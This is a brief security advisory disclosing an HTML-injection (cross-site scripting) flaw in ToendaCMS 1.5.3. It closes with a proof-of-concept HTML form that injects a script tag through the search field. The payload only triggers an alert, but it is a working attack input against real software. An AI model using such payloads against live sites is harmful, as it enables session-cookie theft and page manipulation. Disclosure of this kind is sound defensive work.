ToendaCMS is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input.
Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
This issue affects ToendaCMS 1.5.3; other versions may also be affected.
<form action="http://toendainstallation/" method="post">
<input type="hidden" name="searchword" value='"><script>alert(1)</script>'>
<input type="hidden" name="id" value="search">